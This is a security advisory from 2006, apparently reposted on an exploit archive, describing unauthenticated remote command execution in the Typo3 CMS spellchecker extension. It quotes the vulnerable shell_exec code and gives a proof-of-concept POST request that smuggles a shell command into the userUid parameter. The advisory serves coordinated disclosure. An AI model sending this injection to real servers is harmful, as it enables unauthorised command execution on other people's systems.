what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

SEC-20061220-0.txt

SEC-20061220-0.txt
Posted Dec 22, 2006
Authored by D. Fabian, J. Greil | Site sec-consult.com

SEC-CONSULT Security Advisory - Typo3 CMS versions 4.0.0 through 4.0.3 (along with other variants) suffer from a remote command execution flaw. Proof of concept included.

tags | exploit, remote, proof of concept
SHA-256 | 855559bf26aa89e08a42b32a4a13e9d2151e9b5cca1e5cb32c2673a8d897c507

SEC-20061220-0.txt

Change Mirror Download
SEC-CONSULT Security Advisory < 20061220-0>
=======================================================================
title: Remote Command Execution in Typo3
program: Typo3 Content Management System
vulnerable version: 4.0.0 - 4.0.3
3.7 and 3.8 with rtehtmlarea extension
4.1beta
impact: critical
homepage: http://www.typo3.com
found: 2006-11-21
by: D. Fabian / SEC-CONSULT / www.sec-consult.com
J. Greil / SEC-CONSULT / www.sec-consult.com
permanent link: http://www.sec-consult.com/272.html
=======================================================================

vendor description:
---------------

TYPO3 is a free Open Source content management system for enterprise
purposes on the web and in intranets. It offers full flexibility and
extendability while featuring an accomplished set of ready-made
interfaces, functions and modules.

[Source: http://www.typo3.com]


vulnerability overview:
---------------

In version 4.0 and above, Typo3 includes a sysext named rtehtmlarea.
The extension can optionally also be installed on Typo3 versions below
4.0. This RTE HTML Editor allows spell checking, for which it uses the
command line tool 'aspell'.

When this program is called, unvalidated user input is used as argument
to the system call. Login to the backend is /not/ required to exploit
this vulnerability.

This allows an attacker to execute arbitrary commands on the target
system.


vulnerability details:
---------------

The affected script resides in /typo3/sysext/rtehtmlarea/htmlarea/
plugins/SpellChecker/spell-check-logic.php which calls the vulnerable
script /typo3/sysext/rtehtmlarea/pi1/class.tx_rtehtmlarea_pi1.php.
It requires a GET parameter id with the pageid of an existing page.
When the POST parameter cmd is set to learn, the parameter userUid is
not validated and can be used by an attacker to inject code.

Here is the vulnerable code (line 208):
--- code ---
$AspellCommand = 'cat ' . $tmpFileName . ' | ' . $this->AspellDirectory
. ' -a --mode=none' . $this->personalDictsArg . ' --lang=' .
$this->dictionary . ' --encoding=' . $this->parserCharset . ' 2>&1';
print $AspellCommand . "\n";
print shell_exec($AspellCommand);
--- /code ---

There seems to be a second command execution vulnerability in the same
file in line 365. It is left as a task to the reader to exploit that
flaw.

For typo3 versions < 4.0, the rtehtmlarea extension is probably located
at /typo3/ext.


proof of concept:
---------------

Here is a sample POST request that writes a file 'shell.txt' into /tmp:

--- post request ---
POST /typo3/sysext/rtehtmlarea/htmlarea/plugins/SpellChecker/spell-
check-logic.php?id=1 HTTP/1.1
Host: www.typo3host.abc
User-Agent: none
Content-Type: application/x-www-form-urlencoded
Content-Length: 111

psell_mode=fast&to_p_dict=1&cmd=learn&userUid=test;+echo+'shell'+>+
/tmp/shell.txt+%23&enablePersonalDicts=true
--- /post request ---


vulnerable versions:
---------------

Versions 4.0 - 4.0.3 as well as 4.1beta seem to be vulnerable to the
described attack. Also vulnerable are versions 3.7 and 3.8 if the
rtehtmlarea extension is installed.
The issue has been resolved in version 4.0.4.


vendor status:
---------------
vendor notified: 2006-12-07
vendor response: 2006-12-07
patch available: 2006-12-20
coordinated disclosure: 2006-12-20

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Unternehmensberatung GmbH

Office Vienna
Blindengasse 3
A-1080 Wien
Austria

Tel.: +43 / 1 / 890 30 43 - 0
Fax.: +43 / 1 / 890 30 43 - 15
Mail: research at sec-consult dot com
www.sec-consult.com

EOF Daniel Fabian / @2006

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close